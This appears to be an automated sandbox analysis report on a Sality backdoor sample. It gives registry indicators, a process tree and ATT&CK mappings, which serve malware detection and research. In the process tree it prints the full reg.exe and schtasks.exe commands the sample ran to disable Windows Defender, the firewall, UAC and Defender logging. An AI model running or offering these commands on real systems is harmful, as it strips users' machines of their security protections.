sality | b0def179e433234239127de81ad3e27c7464a26c7542c17e2dd2d01746aaf1d8

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DisableNotifications = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DisableNotifications = "1"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	WinDriversQt.exe

Sality
Sality is backdoor written in C++, first discovered in 2003.
backdoor sality

UAC bypass 3 TTPs 2 IoCs

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	vnb656-full.exe

Windows security bypass 2 TTPs 12 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UacDisableNotify = "1"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UacDisableNotify = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	vnb656-full.exe

Disables RegEdit via registry modification 2 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\DisableRegistryTools = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\DisableRegistryTools = "1"	vnb656-full.exe

Disables Task Manager via registry modification
evasion

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	9eb1fc2dda070db70317f1ff4c8da872.exe

Executes dropped EXE 2 IoCs

pid	Process
748	WinDriversQt.exe
5060	vnb656-full.exe

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/748-13-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/748-16-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/748-17-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/748-18-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/748-25-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/748-28-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/748-30-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/748-31-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/748-32-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/748-33-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/748-34-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/748-35-0x0000000002240000-0x00000000032CE000-memory.dmp	upx
behavioral2/memory/5060-60-0x0000000002210000-0x000000000329E000-memory.dmp	upx
behavioral2/memory/5060-62-0x0000000002210000-0x000000000329E000-memory.dmp	upx
behavioral2/memory/5060-66-0x0000000002210000-0x000000000329E000-memory.dmp	upx
behavioral2/memory/5060-71-0x0000000002210000-0x000000000329E000-memory.dmp	upx

Windows security modification 2 TTPs 14 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UacDisableNotify = "1"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UacDisableNotify = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	vnb656-full.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	vnb656-full.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	WinDriversQt.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	vnb656-full.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SYSTEM.INI	WinDriversQt.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 6 IoCs

installer

resource	yara_rule
behavioral2/files/0x000a00000002313b-51.dat	nsis_installer_1
behavioral2/files/0x000a00000002313b-51.dat	nsis_installer_2
behavioral2/files/0x000a00000002313b-54.dat	nsis_installer_1
behavioral2/files/0x000a00000002313b-54.dat	nsis_installer_2
behavioral2/files/0x000a00000002313b-56.dat	nsis_installer_1
behavioral2/files/0x000a00000002313b-56.dat	nsis_installer_2

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
748	WinDriversQt.exe
748	WinDriversQt.exe
5060	vnb656-full.exe
5060	vnb656-full.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe
Token: SeDebugPrivilege	748	WinDriversQt.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
748	WinDriversQt.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4220 wrote to memory of 748	4220	9eb1fc2dda070db70317f1ff4c8da872.exe	86
PID 4220 wrote to memory of 748	4220	9eb1fc2dda070db70317f1ff4c8da872.exe	86
PID 4220 wrote to memory of 748	4220	9eb1fc2dda070db70317f1ff4c8da872.exe	86
PID 748 wrote to memory of 3888	748	WinDriversQt.exe	89
PID 748 wrote to memory of 3888	748	WinDriversQt.exe	89
PID 748 wrote to memory of 800	748	WinDriversQt.exe	9
PID 748 wrote to memory of 808	748	WinDriversQt.exe	10
PID 748 wrote to memory of 392	748	WinDriversQt.exe	12
PID 748 wrote to memory of 2588	748	WinDriversQt.exe	75
PID 748 wrote to memory of 2624	748	WinDriversQt.exe	74
PID 748 wrote to memory of 2748	748	WinDriversQt.exe	72
PID 748 wrote to memory of 3452	748	WinDriversQt.exe	65
PID 748 wrote to memory of 3596	748	WinDriversQt.exe	64
PID 748 wrote to memory of 3780	748	WinDriversQt.exe	63
PID 748 wrote to memory of 3900	748	WinDriversQt.exe	38
PID 748 wrote to memory of 3964	748	WinDriversQt.exe	62
PID 748 wrote to memory of 4036	748	WinDriversQt.exe	61
PID 748 wrote to memory of 4136	748	WinDriversQt.exe	60
PID 748 wrote to memory of 1304	748	WinDriversQt.exe	49
PID 748 wrote to memory of 1764	748	WinDriversQt.exe	48
PID 748 wrote to memory of 3296	748	WinDriversQt.exe	45
PID 748 wrote to memory of 5092	748	WinDriversQt.exe	40
PID 748 wrote to memory of 4220	748	WinDriversQt.exe	85
PID 748 wrote to memory of 4220	748	WinDriversQt.exe	85
PID 748 wrote to memory of 2960	748	WinDriversQt.exe	88
PID 748 wrote to memory of 3888	748	WinDriversQt.exe	89
PID 3888 wrote to memory of 4572	3888	cmd.exe	90
PID 3888 wrote to memory of 4572	3888	cmd.exe	90
PID 3888 wrote to memory of 3692	3888	cmd.exe	91
PID 3888 wrote to memory of 3692	3888	cmd.exe	91
PID 3888 wrote to memory of 4756	3888	cmd.exe	92
PID 3888 wrote to memory of 4756	3888	cmd.exe	92
PID 3888 wrote to memory of 4076	3888	cmd.exe	94
PID 3888 wrote to memory of 4076	3888	cmd.exe	94
PID 3888 wrote to memory of 1508	3888	cmd.exe	93
PID 3888 wrote to memory of 1508	3888	cmd.exe	93
PID 3888 wrote to memory of 5116	3888	cmd.exe	119
PID 3888 wrote to memory of 5116	3888	cmd.exe	119
PID 3888 wrote to memory of 460	3888	cmd.exe	102
PID 3888 wrote to memory of 460	3888	cmd.exe	102
PID 3888 wrote to memory of 2928	3888	cmd.exe	101
PID 3888 wrote to memory of 2928	3888	cmd.exe	101
PID 3888 wrote to memory of 1584	3888	cmd.exe	100
PID 3888 wrote to memory of 1584	3888	cmd.exe	100
PID 3888 wrote to memory of 5072	3888	cmd.exe	95
PID 3888 wrote to memory of 5072	3888	cmd.exe	95
PID 3888 wrote to memory of 4312	3888	cmd.exe	99
PID 3888 wrote to memory of 4312	3888	cmd.exe	99
PID 3888 wrote to memory of 3516	3888	cmd.exe	96
PID 3888 wrote to memory of 3516	3888	cmd.exe	96
PID 3888 wrote to memory of 2944	3888	cmd.exe	97
PID 3888 wrote to memory of 2944	3888	cmd.exe	97
PID 3888 wrote to memory of 2232	3888	cmd.exe	98
PID 3888 wrote to memory of 2232	3888	cmd.exe	98
PID 3888 wrote to memory of 5096	3888	cmd.exe	118
PID 3888 wrote to memory of 5096	3888	cmd.exe	118
PID 3888 wrote to memory of 3616	3888	cmd.exe	117
PID 3888 wrote to memory of 3616	3888	cmd.exe	117
PID 3888 wrote to memory of 3720	3888	cmd.exe	103
PID 3888 wrote to memory of 3720	3888	cmd.exe	103
PID 3888 wrote to memory of 3772	3888	cmd.exe	104
PID 3888 wrote to memory of 3772	3888	cmd.exe	104
PID 3888 wrote to memory of 1092	3888	cmd.exe	108
PID 3888 wrote to memory of 1092	3888	cmd.exe	108

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WinDriversQt.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	vnb656-full.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:800

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:808

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:392

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:3900

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5092

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3296

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1764

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" -ServerName:InputApp.AppX9jnwykgrccxc8by3hsrsh07r423xzvav.mca
1⤵
PID:1304

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4136

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:4036

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3964

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3596

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3452
- C:\Users\Admin\AppData\Local\Temp\9eb1fc2dda070db70317f1ff4c8da872.exe
  "C:\Users\Admin\AppData\Local\Temp\9eb1fc2dda070db70317f1ff4c8da872.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Users\Admin\AppData\Local\Temp\WinDriversQt.exe
    "C:\Users\Admin\AppData\Local\Temp\WinDriversQt.exe"
    3⤵
    - Modifies firewall policy service
    - UAC bypass
    - Windows security bypass
    - Disables RegEdit via registry modification
    - Executes dropped EXE
    - Windows security modification
    - Checks whether UAC is enabled
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:748
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2960
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5043.tmp\5044.tmp\5045.bat C:\Users\Admin\AppData\Local\Temp\WinDriversQt.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3888
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        5⤵
        
        PID:4572
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:3692
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:4756
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:1508
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:4076
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:5072
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:3516
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        5⤵
        
        PID:2944
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:2232
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:4312
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:1584
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:2928
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:460
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        5⤵
        
        PID:3720
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        5⤵
        
        PID:3772
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        5⤵
        
        PID:3680
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        5⤵
        
        PID:3552
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
        5⤵
        
        PID:2132
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        5⤵
        
        PID:1092
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:3024
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:2288
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:3728
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:3400
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:1912
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:1520
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:2764
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:2700
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        5⤵
        
        PID:3616
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:5096
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:5116
- - C:\Users\Admin\AppData\Local\Temp\vnb656-full.exe
    "C:\Users\Admin\AppData\Local\Temp\vnb656-full.exe"
    3⤵
    - Modifies firewall policy service
    - UAC bypass
    - Windows security bypass
    - Disables RegEdit via registry modification
    - Executes dropped EXE
    - Windows security modification
    - Checks whether UAC is enabled
    - Suspicious behavior: EnumeratesProcesses
    - System policy modification
    PID:5060

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2624

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry